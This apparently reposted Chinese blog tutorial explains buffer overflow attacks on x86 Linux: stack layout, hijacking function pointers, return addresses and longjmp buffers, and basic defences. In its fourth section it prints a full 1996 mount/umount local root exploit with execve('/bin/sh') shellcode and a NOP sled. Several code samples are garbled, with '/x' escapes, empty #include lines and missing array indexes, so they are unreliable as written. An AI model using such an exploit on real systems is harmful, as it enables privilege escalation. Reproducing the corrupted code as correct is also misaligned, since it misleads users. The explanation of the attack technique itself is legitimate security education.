在過去的十年中,以緩沖區溢出為攻擊類型的安全漏洞是最為常見的一種形式。更為嚴重的是,緩沖區溢出漏洞占了遠程網絡攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet用戶有機會獲得一臺主機的部分或全部的控制權!由于這類攻擊使任何人都有可能取得主機的控制權,所以它代表了一類極其嚴重的安全威脅。
緩沖區溢出攻擊之所以成為一種常見的攻擊手段,其原因在于緩沖區溢出漏洞太普通了,并且易于實現。而且,緩沖區溢出所以成為遠程攻擊的主要手段,其原因在于緩沖區溢出漏洞給予了攻擊者所想要的一切:殖入并且執行攻擊代碼。被殖入的攻擊代碼以一定的權限運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。本文簡單介紹了緩沖區溢出的基本原理和預防辦法。
一、緩沖區溢出的概念和原理
緩沖區是內存中存放數據的地方。在程序試圖將數據放到機器內存中的某一個位置的時候,因為沒有足夠的空間就會發生緩沖區溢出。而人為的溢出則是有一定企圖的,攻擊者寫一個超過緩沖區長度的字符串,植入到緩沖區,然后再向一個有限空間的緩沖區中植入超長的字符串,這時可能會出現兩個結果:一是過長的字符串覆蓋了相鄰的存儲單元,引起程序運行失敗,嚴重的可導致系統崩潰;另一個結果就是利用這種漏洞可以執行任意指令,甚至可以取得系統root特級權限。
緩沖區是程序運行的時候機器內存中的一個連續塊,它保存了給定類型的數據,隨著動態分配變量會出現問題。大多時為了不占用太多的內存,一個有動態分配變量的程序在程序運行時才決定給它們分配多少內存。如果程序在動態分配緩沖區放入超長的數據,它就會溢出了。一個緩沖區溢出程序使用這個溢出的數據將匯編語言代碼放到機器的內存里,通常是產生root權限的地方。僅僅單個的緩沖區溢出并不是問題的根本所在。但如果溢出送到能夠以root權限運行命令的區域,一旦運行這些命令,那可就等于把機器拱手相讓了。
造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}
上面的strcpy()將直接吧input中的內容copy到buffer中。這樣只要input的長度大于16,就會造成buffer的溢出,使程序運行出錯。存在像strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的getc(),fgetc(),getchar()等。
當然,隨便往緩沖區中填東西造成它溢出一般只會出現Segmentation fault 錯誤,而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其他命令。如果該程序屬于root且有suid權限的話,攻擊者就獲得了一個有root權限的shell,便可以對系統進行任意操作了。
請注意,如果沒有特別說明,下面的內容都假設用戶使用的平臺為基于Intel x86 CPU的Linux系統。對其他平臺來說,本文的概念同樣適用,但程序要做相應修改。
二、制造緩沖區溢出
一個程序在內存中通常分為程序段、數據段和堆棧三部分。程序段里放著程序的機器碼和只讀數據。數據段放的是程序中的靜態數據。動態數據則通過堆棧來存放。在內存中,它們的位置是:
當程序中發生函數調用時,計算機做如下操作:首先把參數壓入堆棧;然后保存指令寄存器(IP)中的內容作為返回地址(RET);第三個放入堆棧的是基址寄存器(FP);然后把當前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變量留出一定空間,把SP減去適當的數值。以下面程序為例:
example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring = 'B';
func1(longstring);
}
當調用函數func1()時,堆棧如下:
不用說,程序執行的結果是"Segmentation fault (core dumped)"或類似的出錯信息。因為從buffer開始的256個字節都將被* input的內容'B'覆蓋,包括sfp, ret,甚至*input。'B'的16進值為0x41,所以函數的返回地址變成了0x41414141,這超出了程序的地址空間,所以出現段錯誤。
三、緩沖區溢出漏洞攻擊方式
緩沖區溢出漏洞可以使任何一個有黑客技術的人取得機器的控制權甚至是最高權限。一般利用緩沖區溢出漏洞攻擊root程序,大都通過執行類似“exec(sh)”的執行代碼來獲得root 的shell。黑客要達到目的通常要完成兩個任務,就是在程序的地址空間里安排適當的代碼和通過適當的初始化寄存器和存儲器,讓程序跳轉到安排好的地址空間執行。
1、在程序的地址空間里安排適當的代碼
在程序的地址空間里安排適當的代碼往往是相對簡單的。如果要攻擊的代碼在所攻擊程序中已經存在了,那么就簡單地對代碼傳遞一些參數,然后使程序跳轉到目標中就可以完成了。攻擊代碼要求執行“exec(‘/bin/sh’)”,而在libc庫中的代碼執行“exec(arg)”,其中的“arg”是個指向字符串的指針參數,只要把傳入的參數指針修改指向“/bin/sh”,然后再跳轉到libc庫中的響應指令序列就可以了。當然,很多時候這個可能性是很小的,那么就得用一種叫“植入法”的方式來完成了。當向要攻擊的程序里輸入一個字符串時,程序就會把這個字符串放到緩沖區里,這個字符串包含的數據是可以在這個所攻擊的目標的硬件平臺上運行的指令序列。緩沖區可以設在:堆棧(自動變量)、堆(動態分配的)和靜態數據區(初始化或者未初始化的數據)等的任何地方。也可以不必為達到這個目的而溢出任何緩沖區,只要找到足夠的空間來放置這些攻擊代碼就夠了。
2、控制程序轉移到攻擊代碼的形式
緩沖區溢出漏洞攻擊都是在尋求改變程序的執行流程,使它跳轉到攻擊代碼,最為基本的就是溢出一個沒有檢查或者其他漏洞的緩沖區,這樣做就會擾亂程序的正常執行次序。通過溢出某緩沖區,可以改寫相近程序的空間而直接跳轉過系統對身份的驗證。原則上來講攻擊時所針對的緩沖區溢出的程序空間可為任意空間。但因不同地方的定位相異,所以也就帶出了多種轉移方式。
(1)Function Pointers(函數指針)
在程序中,“void (* foo) ( )”聲明了個返回值為“void” Function Pointers的變量“foo”。Function Pointers可以用來定位任意地址空間,攻擊時只需要在任意空間里的Function Pointers鄰近處找到一個能夠溢出的緩沖區,然后用溢出來改變Function Pointers。當程序通過Function Pointers調用函數,程序的流程就會實現。
(2)Activation Records(激活記錄)
當一個函數調用發生時,堆棧中會留駐一個Activation Records,它包含了函數結束時返回的地址。執行溢出這些自動變量,使這個返回的地址指向攻擊代碼,再通過改變程序的返回地址。當函數調用結束時,程序就會跳轉到事先所設定的地址,而不是原來的地址。這樣的溢出方式也是較常見的。
(3)Longjmp buffers(長跳轉緩沖區)
在C語言中包含了一個簡單的檢驗/恢復系統,稱為“setjmp/longjmp”,意思是在檢驗點設定“setjmp(buffer)”,用longjmp(buffer)“來恢復檢驗點。如果攻擊時能夠進入緩沖區的空間,感覺“longjmp(buffer)”實際上是跳轉到攻擊的代碼。像Function Pointers一樣,longjmp緩沖區能夠指向任何地方,所以找到一個可供溢出的緩沖區是最先應該做的事情。
3、植入綜合代碼和流程控制
常見的溢出緩沖區攻擊類是在一個字符串里綜合了代碼植入和Activation Records。攻擊時定位在一個可供溢出的自動變量,然后向程序傳遞一個很大的字符串,在引發緩沖區溢出改變Activation Records的同時植入代碼(權因C在習慣上只為用戶和參數開辟很小的緩沖區)。植入代碼和緩沖區溢出不一定要一次性完成,可以在一個緩沖區內放置代碼(這個時候并不能溢出緩沖區),然后通過溢出另一個緩沖區來轉移程序的指針。這樣的方法一般是用于可供溢出的緩沖區不能放入全部代碼時的。如果想使用已經駐留的代碼不需要再外部植入的時候,通常必須先把代碼做為參數。在libc(熟悉C的朋友應該知道,現在幾乎所有的C程序連接都是利用它來連接的)中的一部分代碼段會執行“exec(something)”,當中的something就是參數,使用緩沖區溢出改變程序的參數,然后利用另一個緩沖區溢出使程序指針指向libc中的特定的代碼段。
程序編寫的錯誤造成網絡的不安全性也應當受到重視,因為它的不安全性已被緩沖區溢出表現得淋漓盡致了。
四、利用緩沖區溢出進行的系統攻擊
如果已知某個程序有緩沖區溢出的缺陷,如何知道緩沖區的地址,在哪兒放入shell代碼呢?由于每個程序的堆棧起始地址是固定的,所以理論上可以通過反復重試緩沖區相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進行數百至上千次,實際上是不現實的。解決的辦法是利用空指令NOP。在shell代碼前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執行完NOP指令后程序將激活shell進程。這樣就大大增加了猜中的可能性。下面是一個緩沖區溢出攻擊的實例,它利用了系統程序mount的漏洞:
example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"/xeb/x24/x5e/x8d/x1e/x89/x5e/x0b/x33/xd2/x89/x56/x07/x89/x56/x0f"
"/xb8/x1b/x56/x34/x12/x35/x10/x56/x34/x12/x8d/x4e/x0b/x8b/xd1/xcd"
"/x80/x33/xc0/x40/xcd/x80/xe8/xd7/xff/xff/xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory/n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996/n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
程序中get_esp()函數的作用就是定位堆棧位置。程序首先分配一塊暫存區buff,然后在buff的前面部分填滿NOP,后面部分放shell代碼。最后部分是希望程序返回的地址,由棧地址加偏移得到。當以buff為參數調用mount時,將造成mount程序的堆棧溢出,其緩沖區被buff覆蓋,而返回地址將指向NOP指令。
由于mount程序的屬主是root且有suid位,普通用戶運行上面程序的結果將獲得一個具有root權限的shell。
五、緩沖區溢出的保護方法
目前有四種基本的方法保護緩沖區免受緩沖區溢出的攻擊和影響:
1、強制寫正確的代碼的方法
編寫正確的代碼是一件非常有意義但耗時的工作,特別像編寫C語言那種具有容易出錯傾向的程序(如:字符串的零結尾),這種風格是由于追求性能而忽視正確性的傳統引起的。盡管花了很長的時間使得人們知道了如何編寫安全的程序,具有安全漏洞的程序依舊出現。因此人們開發了一些工具和技術來幫助經驗不足的程序員編寫安全正確的程序。雖然這些工具幫助程序員開發更安全的程序,但是由于C語言的特點,這些工具不可能找出所有的緩沖區溢出漏洞。所以,偵錯技術只能用來減少緩沖區溢出的可能,并不能完全地消除它的存在。除非程序員能保證他的程序萬無一失,否則還是要用到以下部分的內容來保證程序的可靠性能。
2、通過操作系統使得緩沖區不可執行,從而阻止攻擊者殖入攻擊代碼
這種方法有效地阻止了很多緩沖區溢出的攻擊,但是攻擊者并不一定要殖入攻擊代碼來實現緩沖區溢出的攻擊,所以這種方法還是存在很多弱點的。
3、利用編譯器的邊界檢查來實現緩沖區的保護
這個方法使得緩沖區溢出不可能出現,從而完全消除了緩沖區溢出的威脅,但是相對而言代價比較大。
4、在程序指針失效前進行完整性檢查
這樣雖然這種方法不能使得所有的緩沖區溢出失效,但它的確確阻止了絕大多數的緩沖區溢出攻擊,而能夠逃脫這種方法保護的緩沖區溢出也很難實現。
最普通的緩沖區溢出形式是攻擊活動紀錄然后在堆棧中殖入代碼。這種類型的攻擊在1996年中有很多紀錄。而非執行堆棧和堆棧保護的方法都可以有效防衛這種攻擊。非執行堆棧可以防衛所有把代碼殖入堆棧的攻擊方法,堆棧保護可以防衛所有改變活動紀錄的方法。這兩種方法相互兼容,可以同時防衛多種可能的攻擊。
剩下的攻擊基本上可以用指針保護的方法來防衛,但是在某些特殊的場合需要用手工來實現指針保護。全自動的指針保護需要對每個變量加入附加字節,這樣使得指針邊界檢查在某些情況下具有優勢。
最為有趣的是,緩沖區溢出漏洞--Morris蠕蟲使用了現今所有方法都無法有效防衛的方法,但是由于過于復雜的緣故卻很少有人用到。
在本文中,我們詳細描述和分析了緩沖區溢出的原理,并簡單介紹了幾種防衛方法。由于這種攻擊是目前常見的攻擊手段,所以進行這個方面的研究工作是有意義和成效的。
參考文獻
[1] 網絡入侵檢測分析員手冊. Stephen Northcutt著.余青霓等譯.人民郵電出版社,2000.3
[2] C語言疑難問題解析. 嚴桂蘭,劉甲耀編著.華東華工學院出版社,1993,1.
[3] 網絡最高安全技術指南. 王銳等譯.機械工業出版社,1998,5.
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
